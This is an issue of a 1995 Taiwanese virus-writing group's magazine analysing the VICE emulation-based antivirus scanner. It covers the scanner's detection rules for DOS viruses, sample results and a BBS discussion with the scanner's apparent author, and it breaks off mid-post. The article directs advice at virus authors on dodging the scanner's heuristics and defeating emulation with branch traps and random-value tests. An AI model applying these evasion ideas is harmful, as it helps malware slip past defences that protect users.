TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 二 期 TP
oV PV
TO   VICE 侦毒研究   Vo
pT OT
VP by Zhuge Jin VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

常常某某公司说他的防毒程式有多强多强?常常看到某某杂志剖析某某毒?又某
某『双』月刊把病毒给乱剖析一通?现在我要跟大家来讨论一下我最近玩 VICE
的心得... (嘿!如果我说错了不要 K 我留封信给我吧!让我们一起讨论吧!)
以下是吾人硬碟中的 177 只病毒,可侦测出未知毒计 104 只,比率是59%!
档名后接数字代表该病毒被 VICE 检测的行为代码!(参照 vice 的 rules.dat)
=============================================================================
1030.EXE ABBA.COM (2) FIRELOVE.EXE MUMMY12.EXE (18)
1121.COM AIDS.COM FISH-6.COM MUMMY21.EXE (18)
1181.EXE (16) AIDS2.COM FLIP.COM N1.COM
1241.COM AIRWOF-B.COM FU-MANCH.COM (18) NCU_LI.EXE
1260.COM AMSTRAD.COM (1) FUMBLE.COM (1) NEKO-1A.EXE
1264.COM (18) AP-400.COM (1) GHOST.COM (1) NEKO-20.EXE
1381.EXE (11) AP-440.COM (1) GREEN.COM NEW512.COM
13FRI.COM (18) AP-480.COM (1) HAHA.COM (18) NMSG.EXE (1)
1451.COM (16) AP-529.COM (1) HAHA-B.COM (18) NOCOPY.COM
14SAT.COM (16) AP-605.COM (1) HAMMER52.COM NOCOPY-B.COM
1559.COM (16) ATHENS.COM ICE-1.EXE (1) NOCOPY-C.COM
1575.COM (18) BEE.COM (18) ICE-2.EXE (1) NOCOPYI.EXE
1675.COM (1) BLAC-MON.COM (18) ICE-3.EXE (1) NTIT-1.COM (1)
1701.COM BLUE-B.COM JAPAN.COM (1) NTIT-2.COM (1)
1720.COM (18) BLUEDAN.COM JOJO.COM (18) ONTARIO.COM (18)
1747.COM (18) BOMBER.COM (18) JUNE-16.COM OOPS.COM (18)
1813-A.COM (18) BURGER-1.COM (1) KEYPRESS.COM (18) OROPAX.COM (18)
1813-B.COM (18) BURGER-2.COM (1) LAMOUR.EXE PANDORA.EXE (18)
1994V1.COM (1) BURGER-3.COM (1) LEHIGH.COM (18) PERFUME.COM (15)
205.COM CARTIER.COM (1) LEPR-A.COM (1) PHX-1226.COM
2229.COM (18) CONNIE.COM LEPR-B.COM PHX-1704.COM
2465.COM (18) CONNIE-2.COM LIBERTY.COM (18) PIPI.COM (18)
2641.COM (16) DAR-AVEN.COM (18) MAC10-A.EXE PIPI-3.COM (18)
2900.COM (18) DATCRM2B.COM (1) MAC10-B.EXE PLAST-8.COM
2930.COM (1) DAVIS.EXE MAC20.COM (14) PRUDENTS.EXE (1)
2TIGERS.COM (18) DBASE.COM MAC22.COM (10) RUBBIT20.COM
3004.COM (3) DEVIL.COM MAC30.COM (10) RUBBIT21.COM
3012.COM (3) DH.COM MAC40.COM SARATOGA.EXE (16)
358.EXE (1) DIR2.COM MARAUDER.COM (11) SCOTSVAL.COM
382.COM (1) DNR.COM MERRYCHR.EXE (18) SLOW.EXE
398.COM (1) DOOM-1A.COM (1) MGN-2048.COM SOLANO.COM (16)
405.COM (1) DOOM-1B.COM (1) MIX1.EXE (16) SR.COM
4096.COM (10) DOOM-2.EXE MOON.COM SR-B.COM
512.COM (18) FEAR-A.COM MRJ.EXE SR-C.COM
5120.COM FELLOW.EXE MUMMY10.EXE SUNDAY.COM (18)
SUNDAY-B.COM (18) TEQUILA.EXE VHP-367.COM (1) VIR-76.COM (18)
SUNDAY-C.COM (18) TERM.EXE VHP-435.COM (1) VIR-KING.EXE
SUNNY-A.COM (1) TINY-158.COM (18) VHP-623.COM (1) W-13.COM (1)
SUNNY-B.COM (1) TINY-159.COM (18) VHP-627.COM (1) WILLOW-1.EXE
SURIV-1.COM (18) TINY-160.COM (18) VIENNA-A.COM (1) WILLOW-2.EXE
SURIV-2.EXE (18) TINY-167.COM (18) VIENNA-B.COM (1) WISCON.COM
SURIV-3.COM (18) TINY-198.COM (18) VIR-49.COM WOLFMAN.COM
SYM40.COM TOTORO.EXE VIR-50.COM
SYM40-B.COM VCOMM.EXE (1) VIR-66.COM
SYM40-C.COM VHP-353.COM (1) VIR-70.COM
=============================================================================
(1) This program tried to find a file, open the file, and write the file.
It is a file-type virus.
(这个程式会试图去搜寻一个执行档,将此档打开并写入!这是一只档案型病毒!)
病毒动作:mov ah,4eh int 21h
mov ah,3dh int 21h
mov ah,40h int 21h
猪哥解说:这种方法可以侦测出 382、405、Vienna、Sunny、DOOM、Vienna、
PS-MPS 等病毒!
(2) This program hooked INT 21 and tried to write a file. It is a memory-
type virus.
(这个程式会拦截 int 21h,并且会写入执行档!这是常驻型病毒!)
病毒动作:<Hook int 21h>
mov ah,40h int 21h
猪哥解说:这种方法可以侦测出 ABBA 病毒!
(3) This program hooked INT 21 and tried to write a disk. It is a memory-
type virus, and it may destroy the boot sector.
(这个程式会拦截 int 21h,并对磁碟作写入!这是常驻型病毒!)
病毒动作:<Hook int 21h>
mov ah,03h int 13h
猪哥解说:这种方法可以侦测出 3004、3012 病毒!
(4) This program tried to FORMAT your disk. Not only it is a VIRUS, but
also it is destructive.
(这个程式会 format 你的磁碟!虽然不一定是病毒,但他有破坏性质!)
病毒动作:mov ah,05h int 13h
猪哥解说:我写了一个简单的特洛伊程式,可以抓到!
(5) This program tried to write your disk. It may modify or erase disk
boot sector. We take it as a virus.
(这个程式会对你的磁碟作写入动作!他可能会修改或删除该磁碟启动磁区(BOOT
sector)!我们可将之视为病毒!)
病毒动作:mov ah,02h int 13h
猪哥解说:一般来说,正常的程式很少用 int 13h 来作写入的!
(6) This disk was infected with so'e boot-type virus. It will hook INT 13
while booting up.
(这个磁碟已经感染了开机型病毒!他会在开机的时后拦截 int 13h!)
病毒动作:<BOOT Image>
<Hook int 13h>
(7) This program tried to find a file, create a file, and write the file
It is a file-type virus.
(这个程式会去搜寻一个执行档,建立一个档后再作写入!这是一只档案型病毒!)
病毒动作:mov ah,4eh int 21h
mov ah,3ch int 21h
mov ah,40h int 21h
猪哥解说:基本上,病毒不一定只用这种来建档!(如:mov ah,5bh int 21h)
(8) This program hooked INT 21, and tried to move the file pointer. This
means it tried to spread itself. It is a VIRUS.
(这个程式会拦截 int 21h,并试著移动档案指标!这意味著他会试图散播自己!
是病毒!)
病毒动作:<Hook int 21h>
mov ah,42h int 21h
猪哥解说:各位病毒作者,看来用 SFT 来移动档案指标比用 int 21h 还要来得
方便喔!可是一般程式未必会常用 mov ax,1216h int 2fh,所以 SFT
虽然可以省去用 mov ah,42h int21h 的麻烦,但还是有抓到的可能!
因此想办法用其他的方法来取 SFT 的位置!
(9) This program used INT 26 to write the boot sector. It is a VIRUS and
this virus could infect the boot sector.
(这个程式利用 int 26h 对开机磁区 (BOOT sector) 作写入的动作!这是一只毒
并且会感染开机磁区!)
病毒动作:mov dx,0000h int 26h
(10) This program used unusual way to execute a program. Some virus like
4096 uses this trick. It is a VIRUS.
(这个程式用一般程式不常用的方法去执行一个程式档!有些毒 (像外国的4096)
会用这种鬼计!他是毒!)
病毒动作:mov ah,52h int 21h
mov ah,4bh int 21h
猪哥解说:这种方法可以侦测出 4096、Mac22、Mac30!
(11) This program tried to find a file, set it's attribute, open the file
for further infection. It is a VIRUS.
(这个程式会去搜寻一个执行档,先设定该档的档案属性,并进一步开档做感染
!是一只毒!)
病毒动作:mov ah,4eh int 21h
mov ax,4301h int 21h
mov ah,3dh int 21h
mov ah,3fh int 21h
mov ah,42h int 21h
(12) This program hooked INT 13, and tried to move the file pointer. This
means it tried to spread itself. It is a VIRUS.
(这个程式会拦截 int 13h,并试著移动档案指标!这意味著他会试图散播自己!
是病毒!)
病毒动作:<Hook int 13h>
mov ah,42h int 21h
(13) This program hooked INT 21, and tried to write a file with FCB. It is
a technique for VIRUS to spread.
(这个程式会拦截 int 21h,并利用 fcb 的功能来做档案写入!这是一种给病
毒散播的技术!)
病毒动作:<Hook int 21h>
mov ah,15h int 21h
(14) This program hooked INT 21, and tried to reset the disk. This memory-
type VIRUS might infect the boot sector, too.
(这个程式会拦截 int 21h,并试图重置磁碟!这只常驻型病毒也可能感染开机
磁区!)
病毒动作:<Hooking int21h>
mov ah,00h int 13h
猪哥解说:这种方法可以侦测出 Mac20 病毒!
(15) This program tried to open a file, write the file, and set it's date
and time. It is a VIRUS.
(这个程式会开启一个执行档并写入,然后再设置该档的日期与时间!毒啊!)
病毒动作:mov ah,3dh int 21h
mov ah,40h int 21h
mov ax,5701h int 21h
猪哥解说:这种方法可以侦测出 Perfume 病毒!请比较 (1) 的差别!
(16) This program hooked INT 21 and tried to set the file attribute. It is
a memory-type VIRUS.
(这个程式会拦截 int 21h,并设定档案属性!这是常驻型病毒!)
病毒动作:<Hook int 21h>
mov ax,4301h int 21h
猪哥解说:这种方法可以侦测出 1559 病毒!
(17) This program hooked INT 13 and tried to reset disk. This should be a
memory-type VIRUS.
(这个程式会拦截 int 13h,并重置磁碟!这应该是常驻型病毒!)
病毒动作:<Hook int 13h>
mov ah,00h int 21h
(18) This program hooked INT 21 and tried to open a file. This should be a
memory-type VIRUS.
(这个程式会拦截 int 21h,并开起一个档!这应该是常驻型病毒!)
病毒动作:<Hooking int 21h>
mov ah,3dh int 21h
猪哥解说:这种方法可以侦测出 13Fri、Sunday、2 Tigers、HaHa、Lehigh、
1575、BEE、Merry Christmas...等病毒!
嗯!这里我要特别说明一下... 如果我将病毒的行为由 int 21h 改成 push call far
的格式那 VICE 不就挂啦?嗯!答案不行的... VICE 不但 push call far 所跳的位址
作检察甚至连 jmp far 也检察!至于是如何检察呢?我想是将该位址比对他程式的虚
拟中断向量表来算出是 int xxh?也许是因为这样子,假如该位址如果是该中断的进入
点,那 push call far、jmp far 就检察不到了!不过各位病毒作者先不要高兴,VICE
的作者依然有办法将该进入点的流程记入下来作比对,虽然现在逮不到,不过将来就不
一定罗!说到进入点,很多人以为追到进入点就可以穿过所有的防毒程式?这个问题只
有一半正确而已!像 Tplus 他会在 int 21h 内部插很多到花,并用 int 8h 来保护
int 21h 的花不会被更改!所以各位病毒作者,如果你认为 PC-cillin 或 Zlock 太烂
了!不屑?那么就去试一下 Tplus?因此不要以为追进入点,防毒程式就全没辄了?烂
的当然没辄了?比较好的你也应该去试试看!
另外就是 VICE 会将条件跳跃指令的两种情况通通模拟?嗯!据该作者说这是为了避免
在某些情况没办法正确的模拟,举方说:如果某毒在星期一发作或进入无穷回圈,这么
一来不就没办法侦测出病毒行为吗?所以我就举三个例子给大家研究...
(1)
1064:0100 B80004 MOV AX,0400 DATE : 08/25/95
1064:0103 CD1A INT 1A
1064:0105 81FA2508 CMP DX,0825 PVSCAN/TBCLEAN 皆没进入回圈!
1064:0109 7405 JZ 0110 ;* Zsir 进入回圈!
J064:010B CD20 INT 20 VICE 两者皆模拟!
1064:0110 EBFE JMP 0110
(2)
1064:0100 B80004 MOV AX,0400 DATE : 08/25/95
1064:0103 CD1A INT 1A PVSCAN/TBCLEAN 皆进入回圈!
1064:0105 81FA2408 CMP DX,0824 Zsir 进入回圈!
1064:0109 7505 JNZ 0110 ;* VICE 两者皆模拟!
1064:010B CD20 INT 20
1064:0110 EBFE JMP 0110
(3)
1064:0100 B80004 MOV AX,0400 DATE : 08/25/95
1064:0103 CD1A INT 1A PVSCAN 没进入回圈!TBCLEAN 则有!
1064:0105 83F900 CMP CX,+00 Zsir 进入回圈!
1064:0108 7506 JNZ 0110 ;* VICE 两者皆模拟!
1064:010A CD20 INT 20
1064:0110 EBFE JMP 0110
(4)
1064:0100 B80004 MOV AX,0400 DATE : 08/25/95
1064:0103 CD1A INT 1A PVSCAN/TBCLEAN 正常结束!
1064:0105 83FA00 CMP DX,+00 Zsir 正常结束!
1064:0108 7406 JZ 0110 ;* VICE 两者皆模拟!
1064:010A CD20 INT 20
1064:0110 EBFE JMP 0110
嗯!看了上面的结果你是不是发现 (在加上你的实验),VICE 的方法是两者皆模拟!
假如今天是 8/25/95,那么这前三种情况将进入回圈,而不是正常 int 20h 终止程
式!假设我现在将 int 20h 指向病毒,那么上续进入回圈(通常指病毒发作的部份)
的 AV 在当天不就模拟不到病毒的真正行为!So...VICE 的方法好是好,可是倒很费
时,假如:一个多形病毒外面的垃圾码有 10 道 jnz 指令?那不就要模拟 2^10 次
呢?嘿... 通常有人会想到一点就是『碰到日期、乱数就两者都模拟嘛!』不过...
mov bx,0200h
in ax,40h ; ax = 乱数!
cmp ax,0010h
jz l1 ; 嗯!两者都模拟... 没问题...
l1:
int 20h
add bx,ax ;*
cmp bx,0200h
jnz l2 ; 这个你总该都模拟吧!
int 20h
l2:
... ; 以下依此列推 100 行...
所以想想看,工程浩大不是吗?嘿!所以要在速度与彻底模拟似乎不太能兼顾...
再来谈到伫列的问题!听说 VICE 没有检察伫列的情况?嘿... 各位听倌不要太高兴
... 我想他应该还是有办法解决的... 如何解决呢?
(1) 第一先算出该 PC 的伫列长度!因为每台电脑的 CPU 不同伫列长度也会不同!
(2) 配置一个区块做为暂存,并将记忆体中第一到指令及预提的指令都存入刚刚的
暂存区。
(3) 每次模拟一个指令时,从暂存区取一道指令来模拟,但模拟的时后,不管该指
令是否会动到记忆体的伫列区,仍旧写入,而不是写入我们配置的暂存区!这
里还有一些细节仍要考虑的,如:暂存区的指令要如何预取...等!此外我发
现他有些指令仍无法模拟,如:186 的指令... 也因为如此可以证明他的方法
与 Zsir 完全不同... 而且控制权掌握的好,而我测试的期间尚无当机的机会

在来说一下 VICE 一些按键... 首先建议你用 -gui 进入 VICE ... 当你按 [Enter]
键后,你每按一道 [Enter] 他就模拟一道指令... 而 [Space] 为停止模拟与继续模
拟的功能... 在来是按数字键 [1] 后会出现个 " Dump? ( VM, RM Seg:Off ) " 类
似 debug 的 d 指令,可能是作者在测试用吧!其余呢?小可不才摸不出个所以...
呜... :~(
诸葛  笔


附 录   学 术 网 路 漫 谈

以下是我从 Internet BBS 上的 virus 版所引的一些信,大家仔细去看吧!
到底 VICE 是怎样的软体?
VICE 的作者有不同的 ID : whoami、NewVirus、deniro ... (皆同一个人)
最后我又发现一封有关评击 VICE 的速度及分析能力?基本上用 C 写出来的
程式你敢保证比用 ASM 写出来还快吗?就分析而言?市面上最流行的,如:
Zsir 他的分析能力也好不到那去,当机率来说可以达到『高标』,而 VICE
经我测过我们 TPVO 的病毒样本,还不至于有当机的『机会』! 速度快有什
么用,不要每次都再开机就很不错了! 而速度我相信 VICE 的作者一定会想
办法改善的!
关于上次那个 Tp Wang 说他是趋势的员工?我认为可能是假冒的!因为他信
中曾说过:『你们(指 TPVO)还不是趋势的暂助者?』咦... 旁观的立场?总
之我认为谁也可以干这种无聊的事... 我也可以说我是政府官员即刻叫趋势
关门,可是谁相信... 我们回应他的问题一一避而不谈,说起话来不分青红
皂白 (皂是黑色,请那位仁兄不要考我!) 说难听点就是要我们跟趋势起冲
突!然后他们坐收渔翁之利... 嘿... 那种人只能用中西合壁的方法来拨醒
他!用个中国的三字经或国外的什么来著...啊...呜...(不予置评罗...) 改
天我也来玩玩这种游戏... 嘿... 有趣... :()
常常有人说:『为何我们要写毒?』 我想到一个很爆笑的答案是:『如果我
们不写毒,那 USER 买来的 AV 不是用来摆好看吗?』 不过想想有些 AV 真
得是用来摆好看的, 如:GSCAN 前几版『偷偷』的新增了 DSCE 的扫描码!
而且只摆一道!那扫不扫得到呢?答案是:NO! 真是老毛病不改!记得以
前 GSCAN 在扫 DSME 是偷偷内建的,外面随便摆几个码当妆饰,结果扫出来
真的惨不忍睹,这种错误不但不改反而再犯... 唉!『不予置评罗!』
=============================================================================
发信人: whoami@tw, 信区: virus
标 题: VICE (本人立场)
发信站: National Taiwan University (Fri Jul 28 10:59:41 1995)
转信站: phoenix!news.csie.nctu!netnews.ntu!tw!whoami
Origin: @203.66.253.67
=============================================================================
大家好:
关于 PCC 5.0 里面的 VICE ,由于我是作者,我想,可以在此做一些说明,并且
欢迎网友提出不同的声音回应:
VICE 的速度比起其他防毒软体要慢,原因在于 "软体模拟法" 的关系,因为
透过类似 Virtual DOS Machine 的做法,所以每个指令都要自己 fetch --> decode
--> execute. 因此,就会比较慢。
其他家的防毒软体也有模拟法侦测的功能,不过,通常是利用 Int 1 之类 single
step 的方式去做,这样子实际上是把病毒执行起来,利用指令与指令之间的
空档去检查,快是比较快,可是,隐含了把病毒执行起来的可能。
另外,还有一个问题是,如果病毒只在礼拜天发作,那在礼拜六模拟扫描
可能就扫不到了。当初在设计 VICE 的时候考虑这个问题,觉得没有很好的
解法,于是采用一种比较暴力的做法--"彻底模拟",也就是把所有可能执行
到的程式码都拿来模拟,这一点是真正让 VICE 慢如牛步(如前面网友所说
的)的原因。这样做的好处是:可以把病毒分析得比较彻底 (至少,希望
是这样)
至于 "解毒" 方面,因为有些 .EXE 档的 clean 状况比较复杂 (有的病毒
会把自己分成几段插到档案中) ,所以暂时将此功能关闭
其它方面,有下次再跟大家讨论 并欢迎大家提出自己的意见.
Jason Lee
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Wed Aug 2 05:28:50 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
> 另外,还有一个问题是,如果病毒只在礼拜天发作,那在礼拜六模拟扫描
> 可能就扫不到了。当初在设计 VICE 的时候考虑这个问题,觉得没有很好的
> 解法,于是采用一种比较暴力的做法--"彻底模拟",也就是把所有可能执行
> 到的程式码都拿来模拟,这一点是真正让 VICE 慢如牛步(如前面网友所说
何谓所有可能执行的程式码?
如果模拟到一个条件跳跃指令,你会模拟跳跃与不跳跃两种情况吗?
> 至于 "解毒" 方面,因为有些 .EXE 档的 clean 状况比较复杂 (有的病毒
> 会把自己分成几段插到档案中) ,所以暂时将此功能关闭
> 其它方面,有下次再跟大家讨论 并欢迎大家提出自己的意见.
为何要关闭?既然不是每只毒都能成功分析,又何必在意不能每只
都能成功分析解掉?有点奇怪....
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Thu Aug 3 11:24:24 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: whoami@tw,() 在 virus 讨论区中提到:
> VICE 的速度比起其他防毒软体要慢,原因在于 "软体模拟法" 的关系,因为
> 透过类似 Virtual DOS Machine 的做法,所以每个指令都要自己 fetch --> decode
> --> execute. 因此,就会比较慢。
Virtual DOS Machine 是利用 V86 mode 吗?
> 其他家的防毒软体也有模拟法侦测的功能,不过,通常是利用 Int 1 之类 single
> step 的方式去做,这样子实际上是把病毒执行起来,利用指令与指令之间的
> 空档去检查,快是比较快,可是,隐含了把病毒执行起来的可能。
no! 我觉得跟这个无关, 利用 int 1 来模拟的话, 要看检查的够不够仔细...
如果考虑不够周到, 那就有可能造成被病毒抢去控制权或是造成当机 (像 Zsir
就是一个例子, 做的太逊了), 而如果防护措施做的好的话, 那根本不用怕把病
毒执行起来的问题 (就像 tbav 的 tbclean)
> 另外,还有一个问题是,如果病毒只在礼拜天发作,那在礼拜六模拟扫描
> 可能就扫不到了。当初在设计 VICE 的时候考虑这个问题,觉得没有很好的
> 解法,于是采用一种比较暴力的做法--"彻底模拟",也就是把所有可能执行
> 到的程式码都拿来模拟,这一点是真正让 VICE 慢如牛步(如前面网友所说
> 的)的原因。这样做的好处是:可以把病毒分析得比较彻底 (至少,希望
> 是这样)
那假如我在病毒中安插许多个跟本不可能成立的条件, 而一但条件成立 (照你所说的,
只有在你 vice 的模拟下才有可能成立) 就跳到记忆体中随便一个不知名的地方,
那...
> 至于 "解毒" 方面,因为有些 .EXE 档的 clean 状况比较复杂 (有的病毒
> 会把自己分成几段插到档案中) ,所以暂时将此功能关闭
> 其它方面,有下次再跟大家讨论 并欢迎大家提出自己的意见.
我是觉得你只有把病毒 call 到的中断当做判断是不够的, 像一些病毒常见的行为
模式也该加进去
=============================================================================
发信人: NewVirus@Hospital, 信区: virus
标 题: Re: VICE (本人立场)
发信站: National Taiwan University (Thu Aug 3 13:19:51 1995)
转信站: phoenix!news.csie.nctu!netnews.ntu!Hospital!NewVirus
Origin: @203.66.253.67
=============================================================================
>Virtual DOS Machine 是利用 V86 mode 吗?
不是的。我自己做一个模拟的环境来玩,这样,病毒就成了一个纯粹的
输入档案,由 VICE 自己去 fetch 每个 bytes 出来,看看是什么指令,就
在模拟的记忆体与暂存器上跟著做.....well....可以想像 decode 的部份就要
很大的程式码了.....
>no! 我觉得跟这个无关, 利用 int 1 来模拟的话, 要看检查的够不够仔细...
>如果考虑不够周到, 那就有可能造成被病毒抢去控制权或是造成当机 (像 Zsir
>就是一个例子, 做的太逊了), 而如果防护措施做的好的话, 那根本不用怕把病
>毒执行起来的问题 (就像 tbav 的 tbclean)
对。当初怕 INT 1 被抢走,所以完全用软体模拟的方式做,这样,百分之百
安全,无所谓被病毒抢走控制权的问题,因为,病毒根本就没有执行
起来。另外,其实 tbclean 的控制权还是可能被抢走,印象中有一只病毒
就针对它做。
>那假如我在病毒中安插许多个跟本不可能成立的条件, 而一但条件成立 (照你所说的,
>只有在你 vice 的模拟下才有可能成立) 就跳到记忆体中随便一个不知名的地方,
>那...
跳到不知名的地方,那就放弃,改 check 其他可能的执行路径罗。
>我是觉得你只有把病毒 call 到的中断当做判断是不够的, 像一些病毒常见的行为
>模式也该加进去
我现在也是朝这个方向去想,像是去改 MCB 或是改 0:[413] 这种地方的程式就
当成病毒的行为,你觉得可以吗?
p.s. VICE 其实就是希望可以做到,根据程式的【行为】来判断病毒....
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Sat Aug 5 04:40:29 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
>> 何谓所有可能执行的程式码?
>> 如果模拟到一个条件跳跃指令,你会模拟跳跃与不跳跃两种情况吗?
> 答对了. 是不是很暴力?
不会啊!我还很羡慕您能写出来....
我自己就没有这种『魄力』.....
我还想问,既然两种情况都要模拟,那是不是在模拟一种情况前
要先储存目前的状态(虚拟的暂存器,虚拟的中断表...等等),
等目前模拟的情况不可能是病毒时再返回之前的判断点 ....
现在如果在模拟一种条件跳跃的情况时又碰到一个条件跳跃指令,
那是不是也要继续模拟两种情况呢?同时也要再储存目前的状态...
哇......工程浩大!可望而不可及....除非偷吃步....
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: INT 21,52
发信站: 交大资科_BBS (Sat Aug 5 04:43:15 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
> 因为 Skidrow 有点像 4096
> 都会把自己再拿出来执行一下
> 这样的行为
> 已经足以让我判断是一只 virus 了
问题是那段执行自己的指令是在搬移到 DOS BUFFER 后执行的...
你敢让它搬到 DOS BUFFER 吗?
或者你又做一个虚拟的 DOS BUFFER ...
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Sat Aug 5 04:49:42 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
> Virtuaal DOS Machine 是利用 V86 mode 吗?
别怀疑!他用的方法跟我的一样!
> 那假如我在病毒中安插许多个跟本不可能成立的条件, 而一但条件成立 (照你所说的,
> 只有在你 vice 的模拟下才有可能成立) 就跳到记忆体中随便一个不知名的地方,
> 那...
不会怎样啊!当模拟到绝境(碰到不合法指令...等等)时就返回先前
判断的条件,继续模拟另一种情况即可....
理论可行,且威力不凡....但......难哦....
> 我是觉得你只有把病毒 call 到的中断当做判断是不够的, 像一些病毒常见的行为
> 模式也该加进去
或许他有加,只是隐藏起来(加某参数就....)。
之前他不是就有说把此功能关闭吗?
想必是有写判断行为的东东在里面....
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Sat Aug 5 04:56:51 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
> 不是的。我自己做一个模拟的环境来玩,这样,病毒就成了一个纯粹的
> 输入档案,由 VICE 自己去 fetch 每个 bytes 出来,看看是什么指令,就
> 在模拟的记忆体与暂存器上跟著做.....well....可以想像 decode 的部份就要
> 很大的程式码了.....
我说的没错!跟我的方法一样!
请问你何时完成此模拟环境的?
> 对。当初怕 INT 1 被抢走,所以完全用软体模拟的方式做,这样,百分之百
> 安全,无所谓被病毒抢走控制权的问题,因为,病毒根本就没有执行
> 起来。另外,其实 tbclean 的控制权还是可能被抢走,印象中有一只病毒
> 就针对它做。
就是顶顶大名的 Natas ....
tbclean 一分析 Natas,马上硬碟资料全毁....
> 我现在也是朝这个方向去想,像是去改 MCB 或是改 0:[413] 这种地方的程式就
> 当成病毒的行为,你觉得可以吗?
改 0:[413] 大部份是开机病毒才会有这种动作...
改 MCB 的软体可不少哦....尤其是那种想躲的无影无踪的常驻程式..
会误判.....必须谨慎....
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: 这样可以吗?
发信站: 交大资科_BBS (Sat Aug 5 05:00:13 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
> 如果用到 IN AL, 40 就当成病毒,这样可以吗?
> p.s. 因为发现很多【多形病毒】都会用到......
误判机率太高...
且要解完码才知道有没有此指令....
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Sat Aug 5 16:46:57 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: NewVirus@Hospital,() 在 virus 讨论区中提到:
> 不是的。我自己做一个模拟的环境来玩,这样,病毒就成了一个纯粹的
> 输入档案,由 VICE 自己去 fetch 每个 bytes 出来,看看是什么指令,就
> 在模拟的记忆体与暂存器上跟著做.....well....可以想像 decode 的部份就要
> 很大的程式码了.....
而且还用C来写... 速度就很慢罗
> 对。当初怕 INT 1 被抢走,所以完全用软体模拟的方式做,这样,百分之百
> 安全,无所谓被病毒抢走控制权的问题,因为,病毒根本就没有执行
> 起来。另外,其实 tbclean 的控制权还是可能被抢走,印象中有一只病毒
> 就针对它做。
对啊! 那是它做的不够好, 有漏洞, 不过后来补起来了... 如果考虑周详的话...
>>那假如我在病毒中安插许多个跟本不可能成立的条件, 而一但条件成立 (照你所说的,
>>只有在你 vice 的模拟下才有可能成立) 就跳到记忆体中随便一个不知名的地方,
>>那...
> 跳到不知名的地方,那就放弃,改 check 其他可能的执行路径罗。
但是你一定要去模拟吧... 因为怎么知道跳过去的地方是不是正常路径...
如果你跳过去模拟一段时间才放弃, 那么在病毒中安插许多个这种陷阱, 甚至用回圈
去重复动作, 那就达到了浪费你模拟时间的效果
>>我是觉得你只有把病毒 call 到的中断当做判断是不够的, 像一些病毒常见的行为
>>模式也该加进去
> 我现在也是朝这个方向去想,像是去改 MCB 或是改 0:[413] 这种地方的程式就
> 当成病毒的行为,你觉得可以吗?
> p.s. VICE 其实就是希望可以做到,根据程式的【行为】来判断病毒....
那... 加油罗!
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Sat Aug 5 17:13:34 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: PeterFerng@cis_nctu(好可怜的Peter) 在 virus 讨论区中提到:
> 不会怎样啊!当模拟到绝境(碰到不合法指令...等等)时就返回先前
> 判断的条件,继续模拟另一种情况即可....
> 理论可行,且威力不凡....但......难哦....
对啊! 可行...
假如是用在超级电脑上速度够的话, 不然我就用 分支 & 回圈, 看它模拟到几万个
"绝境" 会有多快 :)
> 或许他有加,只是隐藏起来(加某参数就....)。
> 之前他不是就有说把此功能关闭吗?
> 想必是有写判断行为的东东在里面....
既然有写, 那为何要藏起来?
=============================================================================
发信人: PeterFerng.bbs@bbs.cis.nctu.edu.tw (好可怜的Peter), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 交大资科_BBS (Sun Aug 6 22:23:23 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
>> 或许他有加,只是隐藏起来(加某参数就....)。
>> 之前他不是就有说把此功能关闭吗?
>> 想必是有写判断行为的东东在里面....
> 既然有写, 那为何要藏起来?
我也很纳闷!
不过上次的 mail 中他说因为某些 EXE 的毒无法成功解掉,他希望能
想出更好的方法来解....
=============================================================================
发信人: deniro.bbs@bbs.ntu.edu.tw (Niro), 信区: virus
标 题: Re: VICE (本人立场)
发信站: 台大计中椰林风情站 (Sun Aug 6 17:40:11 1995)
转信站: phoenix!news.csie.nctu!netnews.ntu!Palmarama
=============================================================================
==> PeterFerng.bbs@bbs.cis.nctu (好可怜的Peter) 提到:
> 我还想问,既然两种情况都要模拟,那是不是在模拟一种情况前
> 要先储存目前的状态(虚拟的暂存器,虚拟的中断表...等等),
> 等目前模拟的情况不可能是病毒时再返回之前的判断点 ....
> 现在如果在模拟一种条件跳跃的情况时又碰到一个条件跳跃指令,
